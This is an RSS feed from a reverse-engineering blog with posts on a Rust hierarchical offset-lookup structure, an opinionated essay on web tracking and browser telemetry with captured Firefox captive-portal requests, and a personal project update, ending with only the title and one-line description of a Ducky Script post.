<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[RevEng3 - Reverse Engineering]]></title><description><![CDATA[Hacking, Reverse Engineering, Swift, Apple Security, Cyber Security, Development, Assembly, ARM64]]></description><link>https://blog.reveng3.org</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 22:45:14 GMT</lastBuildDate><atom:link href="https://blog.reveng3.org/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[The Janus Array: When Your Data Structure Has Two Faces]]></title><description><![CDATA[The Monster in the File
Picture this: you're reverse-engineering some binary format, and you discover a nightmare hierarchy that makes onions jealous. Files split into slices. Slices containing commands. Commands holding elements. And oh, did I menti...]]></description><link>https://blog.reveng3.org/the-janus-array-when-your-data-structure-has-two-faces</link><guid isPermaLink="true">https://blog.reveng3.org/the-janus-array-when-your-data-structure-has-two-faces</guid><category><![CDATA[rust lang]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 24 Sep 2025 14:32:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758724231238/bcf5238e-ae03-4f84-b9c2-d90371d1897f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-the-monster-in-the-file">The Monster in the File</h2>
<p>Picture this: you're reverse-engineering some binary format, and you discover a nightmare hierarchy that makes onions jealous. Files split into slices. Slices containing commands. Commands holding elements. And oh, did I mention? It's <strong>recursive</strong> - those elements can contain more elements, going arbitrarily deep.</p>
<p>But here's the kicker: everything lives in <strong>dual address spaces</strong>. You have absolute offsets from byte zero of the file, AND relative offsets from the start of each container. It's like having a building where every room has both a street address AND a "third door on the left from the lobby" description.</p>
<p>Welcome to the world of load commands in executable files. Where sanity goes to die.</p>
<h2 id="heading-the-obvious-wrong-solutions">The Obvious (Wrong) Solutions</h2>
<p>Your first instinct? "Throw it in a HashMap!" Map every absolute offset to its structure path. Simple, right?</p>
<p><strong>Wrong.</strong> You'd need to map <em>every single byte</em>. For a 100MB file, that's 100 million entries. Your "optimization" just consumed more RAM than Chrome on a Tuesday.</p>
<p>Next attempt: "Fine, I'll use ranges!" Build a lookup table with <code>(start, end, path)</code> tuples. Better, but now you need interval trees, overlapping ranges, complex maintenance...</p>
<p><strong>Still wrong.</strong> You're solving a problem that doesn't exist. These aren't arbitrary intervals - they're a clean hierarchical partition of the file.</p>
<h2 id="heading-the-janus-insight">The Janus Insight</h2>
<p>Then it hit me: <em>Why fight the duality? Embrace it.</em></p>
<p>Enter the <strong>Janus Array</strong> - named after the Roman god with two faces. One face looks forward through the hierarchy (give me slice[i].commands[j].elements[k]). The other face looks backward from absolute addresses (where does offset 0x47382 live?).</p>
<p><strong>Two access patterns. One unified structure.</strong></p>
<p>rust</p>
<pre><code class="lang-rust"><span class="hljs-comment">// The "forward" face - direct hierarchical access</span>
file.slices[i].commands[j].elements[k]  <span class="hljs-comment">// O(1)</span>

<span class="hljs-comment">// The "backward" face - recursive binary search  </span>
file.find_address(<span class="hljs-number">0x47382</span>)  <span class="hljs-comment">// O(log n)</span>
</code></pre>
<h2 id="heading-the-implementation-beauty">The Implementation Beauty</h2>
<p>Here's where Rust shines. One trait, multiple implementations, recursive elegance:</p>
<p>rust</p>
<pre><code class="lang-rust"><span class="hljs-class"><span class="hljs-keyword">trait</span> <span class="hljs-title">DiskOffsets</span></span> {
    <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">find_address</span></span>(&amp;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>, addr: <span class="hljs-built_in">u64</span>) -&gt; <span class="hljs-built_in">Result</span>&lt;Coordinates, Error&gt;;
    <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">get_absolute_range</span></span>(&amp;<span class="hljs-keyword">self</span>) -&gt; Range&lt;<span class="hljs-built_in">u64</span>&gt;;
    <span class="hljs-comment">// ... other methods</span>
}
</code></pre>
<p>Every level (File, Slice, Command, Element) implements this trait. The search algorithm? <strong>Recursive binary search</strong> that delegates down the hierarchy:</p>
<p>rust</p>
<pre><code class="lang-rust"><span class="hljs-comment">// In each level's find_address():</span>
<span class="hljs-keyword">while</span> start &lt;= end {
    <span class="hljs-keyword">let</span> mid = (start + end) / <span class="hljs-number">2</span>;
    <span class="hljs-keyword">let</span> range = children[mid].get_absolute_range();

    <span class="hljs-keyword">if</span> range.contains(&amp;addr) {
        <span class="hljs-comment">// Found it! Delegate to the child</span>
        <span class="hljs-keyword">return</span> children[mid].find_address(addr);
    }
    <span class="hljs-comment">// ... binary search logic</span>
}
</code></pre>
<p>Beautiful. No separate index structure. No memory duplication. The hierarchy <strong>IS</strong> the index.</p>
<h2 id="heading-when-theory-meets-reality">When Theory Meets Reality</h2>
<p>The textbook says "O(log n) per level, so O(log n × levels)."</p>
<p><strong>Textbooks lie.</strong></p>
<p>In practice, with load commands:</p>
<ul>
<li><p>Files rarely have more than 3 slices</p>
</li>
<li><p>Many commands are leaf nodes (no elements)</p>
</li>
<li><p>Elements are uniformly distributed when present</p>
</li>
</ul>
<p>So the real complexity? <strong>T(S,C,E) = ln(S) + ln(C) + ln(E)</strong>, where <strong>S+C+E=n</strong>.</p>
<p>But S ≤ 3 in practice, so ln(S) ≈ 1.1 = constant.</p>
<p><strong>Real complexity: O(ln(C) + ln(E))</strong></p>
<p>Most of the time you don't even reach the element level, so it's just <strong>O(ln(C))</strong>.</p>
<p><em>This is what happens when you analyze algorithms in context, not in isolation.</em></p>
<h2 id="heading-the-payoff">The Payoff</h2>
<p>The Janus Array gives you:</p>
<ul>
<li><p><strong>O(1) hierarchical navigation</strong> for the common case</p>
</li>
<li><p><strong>O(log n) reverse lookup</strong> when you need it</p>
</li>
<li><p><strong>Zero memory overhead</strong> (no auxiliary structures)</p>
</li>
<li><p><strong>Type-safe error handling</strong> throughout</p>
</li>
<li><p><strong>Recursive elegance</strong> that scales naturally</p>
</li>
</ul>
<p>All wrapped in Rust's zero-cost abstractions and memory safety guarantees.</p>
<h2 id="heading-conclusion-architecture-over-algorithms">Conclusion: Architecture Over Algorithms</h2>
<p>This isn't about being clever with data structures. It's about <strong>understanding your problem domain</strong> well enough to design solutions that feel inevitable.</p>
<p>The binary format had duality baked in. Instead of fighting it with complex indexing schemes, I embraced it with a structure that naturally supports both access patterns.</p>
<p>Sometimes the best optimization is realizing you don't need to optimize at all. You need to <strong>design better.</strong></p>
<p>And yes, all the Python developers can kiss my gluteus maximus. 😉</p>
<hr />
<p>GitHub: <a target="_blank" href="https://github.com/gb-at-r3/janus-array">https://github.com/gb-at-r3/janus-array</a></p>
]]></content:encoded></item><item><title><![CDATA[Tracking: Foundations of a Systemic Theft]]></title><description><![CDATA[What is Tracking
Tracking refers to the set of technologies and techniques used to observe, record, correlate, and analyze a user's digital behavior.
It’s not just about who you are. It’s about what you do, when, where, for how long, how often, with ...]]></description><link>https://blog.reveng3.org/tracking-foundations-of-a-systemic-theft</link><guid isPermaLink="true">https://blog.reveng3.org/tracking-foundations-of-a-systemic-theft</guid><category><![CDATA[data exploitation]]></category><category><![CDATA[systemic theft]]></category><category><![CDATA[behavioral data]]></category><category><![CDATA[browser privacy]]></category><category><![CDATA[tracking]]></category><category><![CDATA[surveillance]]></category><category><![CDATA[adtech]]></category><category><![CDATA[privacy tools]]></category><category><![CDATA[Chrome]]></category><category><![CDATA[Firefox]]></category><category><![CDATA[fingerprinting]]></category><category><![CDATA[Real-Time Bidding Market Trends]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[telemetry]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 18 Jun 2025 09:20:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750238159957/efed87b9-cbba-40d2-85c9-328cce5d6b10.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-tracking">What is Tracking</h2>
<p><strong>Tracking</strong> refers to the set of technologies and techniques used to observe, record, correlate, and analyze a user's digital behavior.</p>
<p>It’s not just about <em>who you are</em>. It’s about <strong>what you do, when, where, for how long, how often, with whom, and from what device</strong>.</p>
<p>Tracking happens across multiple layers:</p>
<ul>
<li><p>Application-level (cookies, pixels, fingerprinting, analytics)</p>
</li>
<li><p>Network-level (DNS, IP, TLS metadata, SNI, packet timing)</p>
</li>
<li><p>System-level (device IDs, persistent sessions, SDKs)</p>
</li>
<li><p>Contextual-level (mouse movement, scroll depth, clickstream, behavioral patterns)</p>
</li>
</ul>
<blockquote>
<p>Every session, every interaction, every moment online is potentially harvested.</p>
</blockquote>
<h2 id="heading-why-it-exists-and-thrives">Why It Exists (and Thrives)</h2>
<h3 id="heading-reason-1-targeted-advertising">Reason 1. <strong>Targeted Advertising</strong></h3>
<p>Tracking is the foundation of modern <em>adtech</em>. Each time you visit a website, your behavioral profile is auctioned off via Real-Time Bidding (RTB). Ads are tailored to you based on microtargeting logic.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Real-time bidding</strong></div>
</div>

<p><strong>Real-Time Bidding</strong> is a programmatic advertising process where <strong>your behavioural profile is sold in an auction</strong> that takes place <strong>while a web page is loading</strong>.</p>
<p>Every time you visit a site with ads:</p>
<ol>
<li><p><strong>A request is sent</strong> to multiple ad exchanges (platforms that connect advertisers and websites).</p>
</li>
<li><p>This request includes several pieces of information, the most remarkable being:</p>
<ul>
<li><p>Your IP address</p>
</li>
<li><p>Device details (browser, OS, screen size)</p>
</li>
<li><p>Geolocation</p>
</li>
<li><p>URL you’re visiting</p>
</li>
<li><p>Behavioural data (from cookies, trackers, fingerprinting)</p>
</li>
</ul>
</li>
</ol>
<ol start="3">
<li><p><strong>Advertisers bid</strong> to show <em>you</em> their ad — based on how valuable your profile seems for their goal.</p>
</li>
<li><p>The <strong>highest bidder wins</strong>. Their ad is displayed. This happens in <strong>less than 100 milliseconds</strong>.</p>
</li>
</ol>
<p>Shortly: you’re not just looking at a page. You’re being priced, profiled, and auctioned off in real time.</p>
<h3 id="heading-reason-2-retention-amp-optimization">Reason 2. <strong>Retention &amp; Optimization</strong></h3>
<p>Platforms want you to stay. The longer you engage, the more valuable you become. Tracking identifies what grabs your attention — and replicates it.</p>
<h3 id="heading-reason-3-machine-learning-fuel">Reason 3. <strong>Machine Learning Fuel</strong></h3>
<p>Modern AI systems — from recommendation engines to large language models — rely on vast amounts of labeled behavioural data to learn, generalise, and predict.</p>
<p>Tracking provides that data, continuously and at scale.</p>
<p>Each click, pause, scroll, or bounce becomes a training signal. Each session adds to the dataset. Each pattern strengthens the model that defines what someone like you is likely to do next.</p>
<p>Examples:</p>
<ul>
<li><p>YouTube’s recommender refines what to serve based on watch time, video abandonment rate, and click-through chains — all fed by real-time tracking.</p>
</li>
<li><p>Instagram and TikTok optimize dopamine loops by analyzing swipe speed, dwell time, and engagement frequency.</p>
</li>
<li><p>E-commerce platforms (like Amazon or Shein) adapt pricing, product positioning, and discount visibility based on your micro-behaviors.</p>
</li>
</ul>
<p>And it’s not just content.</p>
<p>Tracking also fuels fraud detection models, sentiment analysis engines, and customer scoring systems — many of which influence decisions without your awareness or consent.</p>
<p>If we want to see it as a system:</p>
<ul>
<li><p>Behavioral data is the oil.</p>
</li>
<li><p>Tracking is the pipeline.</p>
</li>
<li><p>Machine learning is the refinery.</p>
</li>
</ul>
<h3 id="heading-reason-4-surveillance-amp-control">Reason 4. <strong>Surveillance &amp; Control</strong></h3>
<p>Whether corporate or governmental, modern surveillance systems ride on the back of tracking infrastructure.</p>
<p>They don’t need to build new sensors — they repurpose the ones already embedded in your browser, your phone, your apps.</p>
<h4 id="heading-corporate-surveillance">Corporate surveillance</h4>
<p>Enterprises use tracking to:</p>
<ul>
<li><p>Monitor employee behavior via endpoint telemetry, session recording, keystroke analysis</p>
</li>
<li><p>Detect insider threats using behavioral baselines derived from app usage and device posture</p>
</li>
<li><p>Implement digital workplace scoring, where performance and trust are inferred from click patterns and presence signals</p>
</li>
</ul>
<p>The same tracking logic used to serve ads can be retooled to decide if you’re “productive enough”.</p>
<h4 id="heading-governmental-surveillance">Governmental surveillance</h4>
<p>State actors exploit tracking in multiple layers:</p>
<ul>
<li><p>By subpoenaing adtech platforms, they can obtain location trails, IP-to-device mapping, and behavioral fingerprints</p>
</li>
<li><p>Passive data collection (from public DNS logs, TLS metadata, etc.) allows for network-wide pattern analysis</p>
</li>
<li><p>Covert trackers embedded in state-controlled media or compromised apps can leak operational metadata in hostile environments</p>
</li>
</ul>
<p>In some cases, corporate tracking directly feeds national intelligence systems (see: China’s data fusion practices, the NSA’s XKeyscore, or India’s Aadhaar-linked web tracking).</p>
<p>What started as advertising telemetry has evolved into population-scale telemetry.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Telemetry</strong></div>
</div>

<p><strong>Telemetry</strong> is the automatic collection and transmission of data from a system to a remote server for monitoring, analysis, or optimization.</p>
<p>In the context of software and devices, it includes:</p>
<ul>
<li><p>App usage patterns</p>
</li>
<li><p>System performance metrics</p>
</li>
<li><p>Error reports</p>
</li>
<li><p>Device configuration and state</p>
</li>
<li><p>Interaction logs (clicks, scrolls, keystrokes, etc.)</p>
</li>
</ul>
<p>Telemetry is often marketed as <em>diagnostic data</em>.</p>
<p>In practice, it’s a <strong>firehose of behavioural and technical information</strong>, sent continuously — often without granular consent or visibility.</p>
<h2 id="heading-the-scariest-part">The scariest part.</h2>
<p>And the scariest part? It’s opt-out only if you’re technical. For everyone else, it’s just there — quiet, systemic, and persistent.Why It’s Everywhere</p>
<ul>
<li><p><strong>It is Invisible by Design:</strong> You’re rarely asked for <em>real</em> consent. And even when you are, the tracking happens anyway — through loopholes, fingerprinting, or network metadata.</p>
</li>
<li><p><strong>Opaque Collaboration Networks:</strong> Trackers don’t work alone. They sync identifiers across domains, share data via redirect chains, cloak domains using CNAME tricks, and respawn cookies through cache abuse.</p>
</li>
<li><p><strong>Resilient Techniques:</strong> Blocking third-party cookies did <em>not</em> kill tracking. It just moved to more sophisticated methods: fingerprinting, bounce tracking, URL decoration, DNS-level correlation, TLS fingerprinting.</p>
</li>
<li><p><strong>Incentives Architecture:</strong>   The modern internet economy is based on attention extraction and behavior prediction. More tracking leads to better models, which leads to more engagement, which ultimately leads to more profit.</p>
</li>
</ul>
<h2 id="heading-why-its-a-problem">Why It’s a Problem</h2>
<h3 id="heading-privacy-destruction">Privacy Destruction</h3>
<p>Granular tracking makes de-anonymization trivial. Even without your name, behavioral patterns are unique enough to identify and profile you precisely.</p>
<h3 id="heading-algorithmic-discrimination">Algorithmic Discrimination</h3>
<p>Prices, visibility, and access can change based on who the algorithm <em>thinks</em> you are. The logic is opaque. The impact is real.</p>
<h3 id="heading-manipulation">Manipulation</h3>
<p>Tracking enables cognitive shaping: bubble filters, nudging, hyperpersonalized content. You don’t choose what you see — it’s chosen for you.</p>
<h3 id="heading-security-surface">Security Surface</h3>
<p>Tracking creates attack surfaces: correlation vectors, lateral channels, forensic identifiers, and potential exfiltration points.</p>
<h2 id="heading-tracking-is-not-analytics">Tracking IS NOT Analytics</h2>
<p>It’s important to distinguish: not all user measurement is invasive.</p>
<p>There are <strong>privacy-respecting analytics tools</strong> (e.g. Plausible, self-hosted Matomo) that don’t fingerprint, don’t use cookies, don’t correlate sessions.</p>
<p>But in most real-world cases, <em>“analytics”</em> is a euphemism for <strong>behavioral profiling pipelines</strong>.</p>
<h2 id="heading-more-about-telemetry">More About Telemetry</h2>
<h3 id="heading-mozilla-firefox">Mozilla Firefox</h3>
<p>In this experiment, I will do something very straightforward. I will use BURP Community Edition to intercept the traffic from a Firefox instance.</p>
<p>The browser will not be instructed to open any page. There will be no user activity, no search queries, no bookmark clicks. Just a clean launch.</p>
<h4 id="heading-objectives">Objectives</h4>
<p>I just want to observe and analyze <strong>what Firefox does on its own</strong>, right after being opened:</p>
<ul>
<li><p>What domains are contacted?</p>
</li>
<li><p>What headers or payloads are sent?</p>
</li>
<li><p>Which services get pinged before I even type a URL?</p>
</li>
</ul>
<h4 id="heading-setup">Setup</h4>
<p><strong>System:</strong> macOS (clean profile)</p>
<p><strong>Tool:</strong> Burp Suite CE</p>
<p><strong>Firefox Version:</strong> Stable release, default settings</p>
<p><strong>Proxy Configuration:</strong> manual proxy to <code>127.0.0.1:8080</code></p>
<p><strong>Cert:</strong> Burp CA imported and trusted via Keychain Access</p>
<p><strong>Startup Mode:</strong> new profile, launched via <code>--ProfileManager</code> to ensure isolation</p>
<h4 id="heading-initial-traffic-snapshot">Initial Traffic Snapshot</h4>
<p>The image below shows what happens immediately after launching Firefox, with no user activity.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750235512968/864433a8-bdd3-4998-95cc-82c0adfb3647.png" alt class="image--center mx-auto" /></p>
<p>As you can see, the browser sends multiple GET requests to:</p>
<ul>
<li><p>/canonical.html</p>
</li>
<li><p>/success.txt?ipv4</p>
</li>
</ul>
<p>These are directed to <a target="_blank" href="http://detectportal.firefox.com">detectportal.firefox.com</a>, Mozilla’s portal detection service.</p>
<p>Despite being innocuous in appearance, this behavior:</p>
<ul>
<li><p>Happens <strong>without consent</strong></p>
</li>
<li><p>Uses <strong>both HTTPS and plaintext HTTP</strong></p>
</li>
<li><p>Leaks device presence on the network (especially over insecure Wi-Fi)</p>
</li>
</ul>
<p>Even worse: it repeats — Firefox loops the portal check <em>periodically</em> while open.</p>
<h3 id="heading-canonicalhtml"><strong>canonical.html</strong></h3>
<h6 id="heading-request">Request</h6>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/canonical.html</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: detectportal.firefox.com
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
<span class="hljs-attribute">Accept</span>: */*
<span class="hljs-attribute">Accept-Language</span>: en-GB,en;q=0.5
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate, br
<span class="hljs-attribute">Cache-Control</span>: no-cache
<span class="hljs-attribute">Pragma</span>: no-cache
<span class="hljs-attribute">Connection</span>: keep-alive
</code></pre>
<h6 id="heading-response">Response</h6>
<pre><code class="lang-http">HTTP/1.1 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Server</span>: nginx
<span class="hljs-attribute">Content-Length</span>: 90
<span class="hljs-attribute">Via</span>: 1.1 google
<span class="hljs-attribute">Date</span>: Tue, 17 Jun 2025 17:55:46 GMT
<span class="hljs-attribute">Age</span>: 52249
<span class="hljs-attribute">Content-Type</span>: text/html
<span class="hljs-attribute">Cache-Control</span>: public,must-revalidate,max-age=0,s-maxage=3600

<span class="solidity"><span class="hljs-operator">&lt;</span>meta http<span class="hljs-operator">-</span>equiv<span class="hljs-operator">=</span><span class="hljs-string">"refresh"</span> content<span class="hljs-operator">=</span><span class="hljs-string">"0;url=https://support.mozilla.org/kb/captive-portal"</span><span class="hljs-operator">/</span><span class="hljs-operator">&gt;</span></span>
</code></pre>
<h5 id="heading-successtxt"><strong>success.txt</strong></h5>
<h6 id="heading-request-1">Request</h6>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/success.txt?ipv4</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: detectportal.firefox.com
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
<span class="hljs-attribute">Accept</span>: */*
<span class="hljs-attribute">Accept-Language</span>: en-GB,en;q=0.5
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate, br
<span class="hljs-attribute">Connection</span>: keep-alive
<span class="hljs-attribute">Priority</span>: u=4
<span class="hljs-attribute">Pragma</span>: no-cache
<span class="hljs-attribute">Cache-Control</span>: no-cache
</code></pre>
<h6 id="heading-response-1">Response</h6>
<pre><code class="lang-http">HTTP/1.1 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Server</span>: nginx
<span class="hljs-attribute">Content-Length</span>: 8
<span class="hljs-attribute">Via</span>: 1.1 google
<span class="hljs-attribute">Date</span>: Tue, 17 Jun 2025 19:28:55 GMT
<span class="hljs-attribute">Age</span>: 46661
<span class="hljs-attribute">Content-Type</span>: text/plain
<span class="hljs-attribute">Cache-Control</span>: public,must-revalidate,max-age=0,s-maxage=3600

success
</code></pre>
<h3 id="heading-google-chrome">Google Chrome</h3>
<p>With Google Chrome, the situation is radically different.</p>
<p>Even without user input, the browser launches with <a target="_blank" href="http://Google.com"><strong>Google.com</strong></a> <strong>as its homepage</strong> — which means immediate and automatic tracking via:</p>
<ul>
<li><p>multiple Google domains (<a target="_blank" href="http://google.com">google.com</a>, <a target="_blank" href="http://gstatic.com">gstatic.com</a>, <a target="_blank" href="http://googleapis.com">googleapis.com</a>, etc.)</p>
</li>
<li><p>embedded service calls (ads, analytics, autofill sync, safe browsing)</p>
</li>
<li><p>JSON calls to OpenAI, extensions, and suggestion engines</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750236828014/0233c8f7-344c-4d9e-b587-52ce85f304da.png" alt class="image--center mx-auto" /></p>
<p>I will <strong>not dissect the traffic here</strong> — not because it’s uninteresting, but because the volume of calls, third-party redirects, and embedded service interactions is <strong>nontrivial to map linearly</strong>.</p>
<p>Understanding Chrome’s behaviour <strong>requires correlating multiple telemetry layers</strong>, which will be the focus of a dedicated analysis later in the series.</p>
<p>For now, it suffices to say:</p>
<blockquote>
<p><strong>You don’t use Chrome. Chrome uses you.</strong></p>
</blockquote>
<h2 id="heading-safari">Safari</h2>
<p>Identifying <strong>Safari’s telemetry</strong> on this machine requires a completely different approach.</p>
<p>Unlike Chrome or Firefox, Safari relies heavily on <strong>system-level services</strong> (<code>nsurlsessiond</code>, <code>locationd</code>, <code>apsd</code>, <code>suggestd</code>, etc.), many of which operate <strong>outside the browser’s visible context</strong> and <strong>don’t send traffic directly under Safari’s name</strong>.</p>
<p>Additionally, most of its networking is tightly integrated with:</p>
<ul>
<li><p>Apple’s <strong>private relay mechanisms</strong> (if enabled)</p>
</li>
<li><p><strong>iCloud session sync</strong> and <strong>Siri suggestions</strong></p>
</li>
<li><p><strong>Launchd-driven agents</strong>, some of which trigger on startup regardless of user activity</p>
</li>
</ul>
<blockquote>
<p>For these reasons, a clean analysis of Safari’s background behavior requires <strong>low-level system inspection</strong> (e.g., lsof, tcpdump, or Little Snitch logs) — not just proxy interception.</p>
</blockquote>
<p>I will write a <strong>dedicated article</strong> about this soon… The rabbit hole is deeper than it looks.</p>
<h2 id="heading-other-browsers"><strong>Other Browsers</strong></h2>
<p>Given the current market share and telemetry transparency (or lack thereof), I will <strong>not consider Opera</strong> in this investigation.</p>
<p>Despite its Chromium base, Opera routes a significant amount of traffic through its own infrastructure — including <strong>VPN-like proxies</strong> and <strong>extension bundles</strong> — making it a separate case entirely.</p>
<p>And honestly: <strong>no one serious in security uses Opera</strong>.</p>
<p>As for <strong>Microsoft Edge</strong>:</p>
<blockquote>
<p>I <strong>promise</strong> I’ll dig into its artifacts as soon as I have a Windows machine under my fingers.</p>
<p>I promise.</p>
<p>(Even if that means borrowing one from a corporate graveyard.)</p>
</blockquote>
<p>For this time, That’s all, folks. Have fun. But be a little scary, it’s cool!</p>
]]></content:encoded></item><item><title><![CDATA[The Good, The Bad, The Ugly: Projects, Tracking, and Rust in Web Security]]></title><description><![CDATA[It’s been a while since I last posted here — or on the other blog, for that matter. My fault.Adulthood, personal affairs, and a few darker things kept me away from the keyboard. I suspect many of you can relate.
Still, none of that ever really stoppe...]]></description><link>https://blog.reveng3.org/the-good-the-bad-the-ugly-projects-tracking-and-rust-in-web-security</link><guid isPermaLink="true">https://blog.reveng3.org/the-good-the-bad-the-ugly-projects-tracking-and-rust-in-web-security</guid><category><![CDATA[deceptive security]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[tracking]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[SaaS]]></category><category><![CDATA[comebacks]]></category><category><![CDATA[personal]]></category><category><![CDATA[privacy]]></category><category><![CDATA[#infosec]]></category><category><![CDATA[Rust]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Sun, 01 Jun 2025 10:14:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748772513986/aec5dd49-208b-4fe1-9502-2b5224fe5aa7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>It’s been a while since I last posted here — or on the other blog, for that matter. My fault.<br />Adulthood, personal affairs, and a few darker things kept me away from the keyboard. I suspect many of you can relate.</em></p>
<p><em>Still, none of that ever really stopped me from writing. So it’s only fair I share what’s been brewing on my side.</em></p>
<hr />
<h2 id="heading-the-good">The Good</h2>
<p>Over the past months, I’ve been deep into a few major projects. The first — and the one I’m most excited about — is a new way of thinking about web security. The moment I saw it, I fell in love.</p>
<p>It’s not a library. It’s not a WAF. It’s not a rule engine. It’s a <strong>SaaS</strong>, but a strange one. And although I’m under NDA, I can still give you a glimpse into what makes it different.</p>
<p>Traditional WAFs — even the more advanced ones — share some fundamental problems:</p>
<ul>
<li><p>They’re prone to <strong>false positives</strong>. Lots of them.</p>
</li>
<li><p>They’re also prone to <strong>false negatives</strong>. And <em>that</em> should scare you.</p>
</li>
<li><p>A skilled penetration tester can detect them and, although it takes effort, craft payloads that bypass their protections.</p>
</li>
<li><p>The effectiveness of the solution depends heavily on <em>who</em> configures it.</p>
</li>
</ul>
<p>No matter how well you tune them, these issues persist.</p>
<p>Lately, there’s a new wave of ITSec tools trying to inject AI into the mix — promising smarter detection, automated defenses, and adaptive behavior.</p>
<p>But here’s the thing: <strong>deterministic algorithms are still more efficient and trustworthy</strong> than these early attempts at AI-driven controls.</p>
<p>The solution I’ve been working on flips the script.</p>
<p>It’s not about dropping a gateway that blocks regex matches. It’s about dissecting the input, understanding its <em>intent</em>, and giving the asset owner a clean answer: <strong>YES, it’s an attack. NO, it’s not.</strong></p>
<p>But the part I’m truly obsessed with — the one eating most of my dev time and that I genuinely <em>love</em> building — is the <strong>deceptive security module</strong>.</p>
<p>That’s where the fun begins.</p>
<p>The startup behind it is called <strong>a-maze</strong>. They’re currently incorporating, and I can already say it’s one of the most enjoyable teams I’ve worked with in a long time.</p>
<hr />
<h2 id="heading-the-bad">The Bad</h2>
<p>A few weeks ago, I was contacted by this funny guy — I can mention his name, he has no problem — <strong>Mr. Dave Null</strong>.</p>
<p>The name immediately reminded me of the <code>/dev/null</code> device in Unix: the bottomless pit where unwanted things go. Turns out, that’s no coincidence. It’s a nickname — and that explains why he doesn’t care if I write about him. In fact, he <em>encouraged</em> it.</p>
<p>These guys commissioned me to run a research project on how the average Internet user is tracked.</p>
<p>Now — I already knew we’re all tracked. We all do.</p>
<p>But I hadn’t fully realised the <strong>depth and pervasiveness</strong> of the practice. It’s not “surveillance capitalism.” That’s a euphemism. It’s more like <strong>digital embezzlement</strong> — and the worst part? The victim (that’s us) doesn’t even know it’s happening.</p>
<p>We all know about spam. The word itself has entered most natural languages.<br />But <em>tracking</em> is worse. Much worse.<br />It impacts all of us, invisibly, constantly — and only benefits a handful of actors.</p>
<p>So I wrote a lengthy document that reverse-engineers the entire process — from techniques to technologies, from cookies to pixels to browser fingerprinting. I might also publish a follow-up with practical containment measures.</p>
<p>Nickname or not, real person or not — it’s good to know that the Internet still produces people (or collectives) willing to fight back. To learn. To understand what’s being done to them.  </p>
<p>And hopefully, to <strong>take action</strong>.</p>
<hr />
<h2 id="heading-the-ugly">The Ugly</h2>
<p>Other projects are spinning up on my side, and I barely have time to write things down.</p>
<p>I’ve written a good chunk of code in <strong>Rust</strong> — which, to be clear, is <em>not</em> ugly as a language. Quite the opposite. But learning it hasn’t been (and still isn’t) the easiest journey I’ve ever embarked on.</p>
<p>Some components of that SaaS beast will eventually be written in other languages.<br />(No — not Python, not JavaScript. <em>That</em> would be ugly.)<br />Which means: more tech stacks, more brain friction, more context switching.</p>
<p>We’re also developing a cross-platform desktop app for another tool. So yeah...</p>
<blockquote>
<p>...spare time will only shrink from now on.</p>
</blockquote>
<p>But I’ll keep writing here. Maybe even more regularly — I’ll try, at least.</p>
<p>Thanks for reading through this long — yet overdue — rant. See you in the next post.</p>
<p><strong>Have fun, dudes.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Writing and Deploying Ducky Script Payloads]]></title><description><![CDATA[For the largest part, developing a Ducky Script (from now on, DS) Payloads implies thinking out what stream of bytes depicts the actions that you would perform on the target system to obtain what you want.
